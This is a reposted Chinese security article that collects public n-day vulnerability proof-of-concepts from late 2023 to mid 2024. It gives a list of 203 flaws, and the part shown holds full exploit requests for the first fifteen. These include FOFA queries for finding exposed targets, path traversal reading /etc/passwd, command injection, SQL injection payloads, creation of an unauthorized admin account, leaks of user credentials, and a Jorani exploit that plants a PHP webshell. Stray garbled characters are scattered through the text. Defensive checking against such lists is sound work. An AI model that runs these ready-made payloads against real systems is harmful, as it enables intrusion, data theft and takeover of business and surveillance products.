互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界

发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
# I( |. \, X/ h7 a" Y
' b/ H+ ]( v; n" O! W( r9 _6 d漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
8 w3 P$ |. z. p) J
& |3 s' q: C. o7 V9 \. E0 t安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
, l. [, \$ P1 }% t
5 D5 ^' M, K( \' G0 _0 O合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
/ x9 \( ^4 |; K! z) T
) Y' {  l) _' ]
! V- S7 o  D! T, I( m1 R声明
3 K  Z# B: u) K  O6 \( ~2 f" @
% N8 p& ]* R- |( O为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

- u$ `. d' ]4 A2 y" h) X8 A4 v7 N有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
' ]" \" o! _0 K2 Q
; d$ z# K, l' x0 Q; _' H. O7 k6 n

  N+ b# h& W1 S* e目录
+ {& y: p7 z" G9 c7 V# K" e) b
! S8 F% U1 m3 [+ A- W. f01

" ?0 _0 a, M: L; J( G; A8 _1. StarRocks MPP数据库未授权访问
0 b, s9 J7 p) B0 M: O) h( N( _2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
) [- [- z. m! q; M/ A5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
# f, l0 b) x; A6 D4 [$ g7. 鸿运主动安全监控云平台任意文件下载
6 {1 q" J: n0 D- g; k& m: L8. 斐讯 Phicomm 路由器RCE
7 \: g' {+ H; y; I4 @- B9. 稻壳CMS keyword 未授权SQL注入
/ f: t. I+ }# f* N9 M! S( q- C10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
+ |3 J" V6 `) k3 l11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
! |7 j* c# Y1 K8 c12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
. T4 p, E% k: v; V7 j. a6 w( w18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
' {8 r- G& N* v3 |- [; K, E* R7 N- T19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
+ F4 y- m6 F8 u/ q3 r3 _9 J- g23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
/ z: R  V! E! @. A2 O24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
' e4 L3 j( a( n27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
) f5 I) a+ F4 }: p% r" m6 s29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
. A' j- m* s/ Y31. 用友NC runStateServlet SQL注入
4 x  @# k8 u4 O) M% C) G32. 用友NC complainbilldetail SQL注入
6 a" x7 `* g5 }5 \* c% j5 H33. 用友NC downTax/download SQL注入
3 c, _, J4 ~$ ~* O) h* ]( J34. 用友NC warningDetailInfo接口SQL注入
$ v# J8 k3 w" t- G( c/ o2 K, K6 }1 n35. 用友NC-Cloud importhttpscer任意文件上传
( b% H8 W+ _9 {, \; W9 N/ A7 {36. 用友NC-Cloud soapFormat XXE
; c8 s: |: [+ ~: |37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
0 ?. H3 K4 s4 Y4 Q+ y40. 用友U8-Cloud XChangeServlet XXE
! f1 [+ U( r9 i$ D# o% a41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
; Q, S( m  H  z42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
! U, ]$ `% S7 e; K44. 用友GRP-U8 bx_dj_check.jsp SQL注入
+ z1 U  F, A  {1 r0 v& `2 }45. 用友GRP-U8 ufgovbank XXE
# `# }" j4 n& U0 _46. 用友GRP-U8 sqcxIndex.jsp SQL注入
* V  h5 ~9 Q# o5 m47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
, a/ @7 a2 d3 E  `" [$ O# C50. QDocs Smart School 6.4.1 filterRecords SQL注入
* [. G* T% N0 }/ J! z51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
; O. m9 w) r0 N1 ]4 F" Z54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
8 L( F3 @+ c2 y) B7 L& K  {+ ?56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
4 b% O' X( c9 k! \' _" b8 F; j57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
  |  I  c2 Y2 P59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
6 R! g' D9 @: L+ w1 S( s60. 百卓Smart管理平台 importexport.php SQL注入
' c4 Q+ X# f6 u$ u61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
0 p# H) d0 Z8 c/ D62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
/ W1 [" s6 u% [4 J6 f6 q8 C: F64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
; |+ _, D1 ?" F  h66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
0 X& P7 i1 d6 k" x! k* P67. 万户ezOFFICE wpsservlet任意文件上传
( E4 n( O! _5 k0 i% V; b. T9 ~68. 万户ezOFFICE wf_printnum.jsp SQL注入
3 a/ t0 Y, p: E) n69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
, X) _( @5 x6 a72. 致远OA getAjaxDataServlet XXE
# b! r1 V: d' K, b$ @: ~& g73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
8 R% t' X/ \$ {6 K8 T( I75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
6 ^2 @5 O7 A  l( H77. F22服装管理软件系统UploadHandler.ashx任意文件上传
+ Z+ c  W/ x% y( w0 c6 x78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
8 i" N4 E& n0 q$ s81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
7 ^5 E+ L( d/ V86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
# @* f- P% B( u. T89. 致远互联FE协作办公平台editflow_manager存在sql注入
8 G: E  r2 \, |5 O  j- V1 W) G90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
  A3 \* Y0 w+ R3 o94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
+ p$ e# k* b6 V3 U7 E) J95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
6 V2 ~) C' [. N2 w: ]1 x  I8 T1 r( j3 p96. Apache OFBiz  18.12.11 groovy 远程代码执行
! R( q0 s8 @/ Z$ [! p97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
3 ]6 c3 o# P/ r# i98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
. b1 [# O* P: ]1 v3 K4 S1 x# \* D102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
; b( j- r  \- @103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
0 s5 |% c5 ]4 K+ z1 C$ h105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
9 ?6 s  D8 d9 D: F108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
$ L* m2 @2 {5 r: L: h+ E) k115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
: v$ W3 }+ c$ k" O  t117. WordPress LayerSlider插件SQL注入
) W) _7 T1 f5 p, u7 P* I118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
; D6 ?' ~3 \0 G* n/ `3 d! z5 I0 Z# x119. 北京百绰智能S20后台sysmanageajax.php sql注入
+ f: {' {3 ]" \# u8 J5 M! x" I120. 北京百绰智能S40管理平台导入web.php任意文件上传
2 H0 x/ E% Z9 f/ M4 J. |4 V. X121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
3 u. c1 r4 V  T/ h2 U125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
# r; Q7 Y# G9 O: J9 ^128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
2 v8 o. H8 I+ O5 o* c8 T130. Laykefu客服系统任意文件上传
4 B1 B4 d* ]% f* e6 Y! E131. Mini-Tmall <=20231017 SQL注入
% p4 P. s! v/ V132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
# A+ G/ |! ~  L. l" X# X" X# h$ g0 z2 O133. H5 云商城 file.php 文件上传
& v# q' E3 ]5 D7 e6 n9 `5 m  K134. 网康NS-ASG应用安全网关index.php sql注入
% d- u" T/ M$ v8 t: {, T135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
0 A$ Z+ S+ C- ~8 ~140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
8 g. B  [5 T* x- s7 ~$ D- b142. CMSV6车辆监控平台系统中存在弱密码
/ P$ e' r% l# z/ D4 k143. Netis WF2780 v2.1.40144 远程命令执行
+ c$ z! |8 ^% Y$ x4 Z5 J144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
- w4 Z  ]4 D$ W3 U5 I$ f8 Q146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
+ }5 G3 I2 i6 a: j! U! ^149. AJ-Report开源数据大屏存在远程命令执行
9 u$ c3 J$ m$ C, f* ~150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
/ i' W: \' e0 y; E; Y" r153. gradio任意文件读取
* F* ]+ \4 g  ]154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
+ \* H9 ~1 M9 `2 |2 s( n1 u5 u' y156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
; ~% J8 p/ s/ T$ W158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
  z# z' y' I1 a1 ~  H! d6 {161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
4 B' N& A3 g% R9 a' }162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
8 ?4 K6 L1 V' N1 e/ Z4 I164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
# P" x( H3 n, a165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
2 r0 Z4 Z/ s! c, V) a) v6 s, p169. 宏景EHR downlawbase SQL注入
; h5 y; f! {, P170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
, @6 r" t  M* Y* v& V$ j$ A! c172. DT-高清车牌识别摄像机任意文件读取
' {$ C, B9 E9 [173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
# ^2 N% T4 d2 d: b: U- q& O$ k% K" c178. H3C校园网自助服务系统-flexfileupload-任意文件上传
$ _8 L+ M* Z9 ^& @179. 建文工程管理系统存在任意文件读取
/ ~7 h1 H+ j0 l180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
3 x4 A  A2 ]+ {$ {& E" T- s" @182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
; |' w4 f" |8 S, J) u, F9 K188. 叁体-佳会视频会议 attachment 任意文件读取
) H, v4 `. u- B- \3 k1 ?2 E9 D2 I! d5 [189. 蓝网科技临床浏览系统 deleteStudy SQL注入
1 z) c9 q. b# R; B190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
5 [* w$ J6 K! t3 h" V- o: M) e& c: Y193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
. B) F! J$ @% V: W194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
7 I* h: L/ B+ x7 N196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
& j2 ~6 n+ n0 E" C* k# a198.  阿里云盘 WebDAV 命令注入
, b* k; m2 c7 T. s; P199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传
6 o4 E! @4 m6 E2 T' O
3 J4 Z* @9 t2 Y) l) g  XPOC列表
# G" Q- u' b! W' Y& d! s. E
+ B- X+ I3 L/ N/ W% I02
. m! J0 D3 g! [2 p( n# f
1. StarRocks MPP数据库未授权访问
1 ?/ t/ s8 I6 J6 a1 h6 T3 U5 fFOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
1 _' e7 q1 F! r; X- bHost: URL


2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
! y8 G8 N6 a/ f. Q2 ?( E: BHost: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

$ m7 j2 Z$ O' ~& D0 w9 u) f4 V
3. EasyCVR智能边缘网关 userlist 信息泄漏
, _  f' D! G" b7 c7 k& M( R/ kFOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
, V/ R) @/ h2 v! x  Z0 B2 N1 QHost: xx.xx.xx.xx
) e& ^! v6 x" j5 t2 X) L0 z  w/ O

4. EasyCVR视频管理平台存在任意用户添加
/ S0 A2 e5 c3 Y5 _1 ]FOFA ：title="EasyCVR"

& u8 M! R$ z  a! b, cpassword更改为自己的密码md5
+ g; A7 X" H8 FPOST /api/v1/adduser HTTP/1.1
* S$ K5 k" q% i3 uHost: your-ip
$ k# I/ `2 i, EContent-Type: application/x-www-form-urlencoded; charset=UTF-8

name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1


7 q' u* U6 m9 P* @" o5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
7 [2 X1 n  ^- \Host: xx.xx.xx.xx


" ^( o+ R' s0 q, n9 M1 Y6. 深信服 NGAF 任意文件读取
) Q% e5 U& h2 k9 v% N2 |, O! v& hFOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:


7. 鸿运主动安全监控云平台任意文件下载
) \1 _. J  C7 e& ~9 d& y; T9 yFOFA：body="./open/webApi.html"
7 M0 {) C3 `+ I' ]# Z4 K0 RGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
- X8 A$ l, i; ^/ i% ?Host:
! ]" L( O, d5 X+ q7 `- y
" A( A/ s; A3 G
8. 斐讯 Phicomm 路由器RCE
$ K- A7 @  Y4 x7 v) JFOFA：icon_hash="-1344736688"
. _5 `& n/ x! P" [( I- O5 M* F7 d默认账号admin登录后台后，执行操作
/ \6 K" A5 c5 k& k3 m1 pPOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
, Q+ q  }% A5 i' I, k" {* _Cookie: sysauth=第一步登录获取的cookie
! K9 L8 u9 q' W3 |4 xContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

5 f8 Z" s6 Z, v9 G------WebKitFormBoundaryxbgjoytz
, n2 M. d! R3 t7 a8 I" ^  LContent-Disposition: form-data; name="wifiRebootEnablestatus"
; ]; Q! T( i5 y3 T
%s
------WebKitFormBoundaryxbgjoytz
4 \% n' H/ I7 V% F* ?0 |: H; Q: TContent-Disposition: form-data; name="wifiRebootrange"

12:00; id;
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"
: u+ r2 B5 m5 p0 n5 G" I5 [' ~% \& Z2 v
  f* `3 _7 i3 _%s:
( K) A' h# ~5 B2 v2 c( K------WebKitFormBoundaryxbgjoytz
, U0 q* Q2 F4 k; K0 V( ~Content-Disposition: form-data; name="cururl2"
" N- W3 B. E( s$ \  T# u* y

# F* i: z# |* |5 f+ s, t( N/ O------WebKitFormBoundaryxbgjoytz--


+ ?# G) U4 ~. ?- r9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
) `$ J; b9 e# r! n. \GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
+ M0 {$ ?7 `2 o6 Y6 y" rHost: x.x.x.x
8 ?: ]2 _* A0 k0 u
/ A5 `7 j$ _2 r1 a
2 P8 Y0 S7 h' [' N+ n( `payload为下列语句的二次Url编码
% e$ C  e7 e# O  {
0 R4 \8 s' h) A8 |# D" J' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
& s+ [; @' z; f( Y' v4 x# `
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
! n+ V, `$ f, iFOFA：icon_hash="953405444"

& `9 g: g( s3 f" ?文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
0 R5 G/ E* Y1 L% }8 q( Q6 j+ hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
3 P) |, U# d# Y; S2 qContent-Length: 197
0 K% f1 M- s, k% L% sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
; k$ {. z* _- F2 p5 i5 GAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
: v8 }, ~0 ]5 i. _( x# L2 FContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
3 k$ c% c' @1 y5 GContent-Type: text/html
/ x3 _; R  ^- I
jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--
0 n% z7 ~7 P4 j; V" i" f: S

11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
7 i* o' i& Y5 [3 T! fGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
; p5 ~$ Y; E% U9 x! e! b! Z+ O1 C1 s! ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
0 o% @# p9 k% p2 b- w! v& d# vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
. x+ K4 f: x0 X) U$ @3 r1 r, YAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

: C; X1 G. ?0 o- g' o
12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
5 X8 k- M$ g& o( R9 k# C+ w第一步先拿到cookie
( _3 x2 N( l. N/ H/ NGET /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Accept-Encoding: gzip

& v# D" Z1 q% }! {. t' \
响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
8 O2 h# a5 K! |% V7 \3 d: X" rConnection: close
7 H+ j4 P+ `0 s: m$ u  dCache-Control: no-store, no-cache, must-revalidate
9 S, f8 L2 `! S: B9 V! PContent-Type: text/html; charset=UTF-8
" b+ k# z; ~1 m4 XDate: Tue, 24 Oct 2023 09:34:28 GMT
9 p3 A4 w) ~; y: ^! OExpires: Thu, 19 Nov 1981 08:52:00 GMT
5 f* e( c# O' ~- k: NLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
, k/ z' b4 S4 h$ e) T' HPragma: no-cache
Server: Apache/2.4.54 (Debian)
; q" H+ P; y7 h/ V, ASet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
' n( Y. W) U  E2 h( z! \Vary: Accept-Encoding


POST请求，执行函数并进行base64编码
- _, B$ |7 D2 r, T& w# W$ |) uPOST /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
# l- c. R4 C% s( r' \  @Content-Length: 252
4 j0 d: ]0 X0 HContent-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
9 x6 N( Q5 U- Q, @" SAccept-Encoding: gzip
9 S4 f! m& }  d8 @& a0 p
csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
6 M# D7 }: u# \9 K1 q5 a


向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
2 V1 B0 b$ ]* {5 pCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
) g, P& z( M# ^. i6 T* [8 h2 n. |K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
; F, J& o" l: i5 IAccept-Encoding: gzip


8 n9 ]: P9 q8 |* H- j1 B/ f4 A% h13. 红帆iOffice ioFileDown任意文件读取
: |/ l; N4 P! v/ iFOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
/ \; }& y+ h2 t8 pHost: x.x.x.x
: X& t9 X. V$ \2 h9 E0 V4 H' A/ ~. pUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
" z3 M3 q% s5 ^5 k7 X0 AAccept: */*
Accept-Encoding: gzip


14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
6 X& K. U! o; X4 f; C4 W3 r0 m: s泄露内容包括用户名密码
- S2 D# v3 g" IGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
' ?9 Y1 h1 i) h: M9 MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
+ q6 D' q7 ^5 ]/ l8 `9 V* RConnection: close
Accept: */*
+ O2 f* n/ p; c4 k, b: KAccept-Language: en
Accept-Encoding: gzip
& \! L( r+ _- T. l) {% {# r

15. 华夏ERP getAllList信息泄露
CVE-2024-0490
8 o( g) z. Z  {3 i- }- W! r7 J) \& ]FOFA：body="jshERP-boot"
2 J# e/ P+ L1 n, t. Y泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
3 M. b( ^! g' q) ^) t6 i. Ysec-ch-ua-platform: Windows
; r0 t5 E; D+ J: g# t4 O/ ~* fAccept-Encoding: gzip
- u% }# o+ H% h' C2 t$ Z
' R6 J8 d! F$ @6 K, U- K
